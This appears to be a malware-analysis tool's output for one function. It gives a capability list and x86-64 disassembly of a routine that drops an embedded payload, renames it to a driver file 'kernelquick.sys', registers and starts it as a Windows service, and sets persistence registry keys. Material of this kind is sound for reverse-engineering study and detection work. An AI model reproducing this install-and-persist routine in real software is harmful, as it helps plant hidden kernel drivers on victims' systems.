Function at 0x180007b00
Capabilities:
Create service
Get common file path
Move file
Persist via windows service
Set registry value
Start service
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rdi
sub rsp, 0x4a0
mov rax, qword [0x18002f010]
xor rax, rsp
mov qword [rsp + 0x490], rax
xor r9d, r9d
lea rax, [rsp + 0x80]
mov rbx, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x23]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rdx, [0x18002a538]
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
xor ebp, ebp
lea rcx, [rsp + 0x80]
mov qword [rsp + 0x30], rbp
xor r9d, r9d
mov dword [rsp + 0x28], 2
mov edx, 0x40000000
mov dword [rsp + 0x20], 4
lea r8d, [rbp + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x180007bab
lea r8, [0x18002a550]
xor edx, edx
mov rcx, rbx
call fcn.180008080
jmp 0x180007e7a
lea r9, [rsp + 0x74]
mov qword [rsp + 0x4b8], rsi
mov r8d, 0x14ae0
mov dword [rsp + 0x74], ebp
lea rdx, [0x18002fac0]
mov qword [rsp + 0x20], rbp
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
lea rdx, str.kernelquick.sys
mov rsi, rax
lea rcx, str.23423.txt
call qword [sym.imp.KERNEL32.dll_MoveFileW]
mov qword [rsp + 0x60], rbp
lea rax, [rsp + 0x80]
mov qword [rsp + 0x58], rbp
lea r8, [0x18002a598]
mov qword [rsp + 0x50], rbp
lea rdx, [0x18002a598]
mov qword [rsp + 0x48], rbp
mov r9d, 0xf01ff
mov qword [rsp + 0x40], rbp
mov rcx, rsi
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], ebp
mov dword [rsp + 0x28], 3
mov dword [rsp + 0x20], 1
call qword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x180007c87
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [0x18002a598]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rdi, rax
mov rcx, rbx
test rdi, rdi
jne 0x180007ca2
lea r8, [0x18002a5b0]
mov dl, 1
call fcn.180008080
jmp 0x180007e72
test rsi, rsi
jne 0x180007cba
lea r8, [0x18002a5c0]
mov dl, 1
call fcn.180008080
jmp 0x180007e72
lea r8, [rsp + 0x80]
xor edx, edx
call fcn.180008ef0
mov r8d, 0x410
lea rdx, [rsp + 0x80]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea r8, [rsp + 0x80]
mov edx, 5
mov rcx, rbx
call fcn.180008ef0
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_StartServiceW]
mov rcx, rbx
test eax, eax
je 0x180007d19
lea r8, [0x18002a5e0]
mov dl, 1
call fcn.180008080
jmp 0x180007d1e
call fcn.180007ea0
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
lea r8, [rsp + 0x80]
mov edx, 5
mov rcx, rbx
call fcn.180008660
lea rbx, str.System_Reserved
mov dword [rsp + 0x78], 1
mov rcx, rbx
mov dword [rsp + 0x7c], 1
mov dword [rsp + 0x70], 3
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov r9d, 2
lea r8, str.Group
lea rdx, str.SYSTEMCurrentControlSet_serviceskernelquick
mov rcx, 0xffffffff80000002
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHLWAPI.dll_SHSetValueW]
lea rax, [rsp + 0x70]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [0x18002a680]
mov rcx, 0xffffffff80000002
lea rdx, str.SYSTEMCurrentControlSet_serviceskernelquick
call qword [sym.imp.SHLWAPI.dll_SHSetValueW]
lea rax, [rsp + 0x78]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, str.Type
mov rcx, 0xffffffff80000002
lea rdx, str.SYSTEMCurrentControlSet_serviceskernelquick
call qword [sym.imp.SHLWAPI.dll_SHSetValueW]
lea rax, [rsp + 0x7c]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [0x18002a6a0]
mov rcx, 0xffffffff80000002
lea rdx, str.SYSTEMCurrentControlSet_serviceskernelquick
call qword [sym.imp.SHLWAPI.dll_SHSetValueW]
lea rax, [rsp + 0x70]
mov dword [rsp + 0x28], 4
mov r9d, 4
mov qword [rsp + 0x20], rax
lea r8, [0x18002a680]
mov dword [rsp + 0x70], 1
lea rdx, str.SYSTEMCurrentControlSet_serviceskernelquick
mov rcx, 0xffffffff80000002
call qword [sym.imp.SHLWAPI.dll_SHSetValueW]
mov rsi, qword [rsp + 0x4b8]
mov rcx, qword [rsp + 0x490]
xor rcx, rsp
call fcn.18000b980
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret